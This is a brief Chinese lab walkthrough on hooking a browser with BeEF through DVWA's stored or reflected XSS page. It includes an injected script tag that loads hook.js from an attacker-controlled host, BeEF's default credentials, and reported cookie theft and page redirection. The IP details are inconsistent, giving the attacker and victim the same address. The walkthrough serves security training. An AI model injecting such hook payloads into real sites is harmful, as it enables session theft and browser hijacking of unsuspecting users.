在dvwa的xss中使用beef
kali ip为192.168.253.8,在kali里启动beef
在自动跳转出的登录页面登录beef,用户名密码都是beef
在受害机,192.168.253.8,进行xss,其中<script src=http://192.168.253.132:3000/hook.js>,点击提交
好了,beef里可以看见192.168.253.8上线了,获取了cookie,
上线后就出现很多可以利用的模块了,我们试试重定向
发现192.168.253.8的dvwa xss界面,已经跳转成了我指定的一个小说网站
在dvwa的xss中使用beef
最新推荐文章于 2024-02-04 09:45:26 发布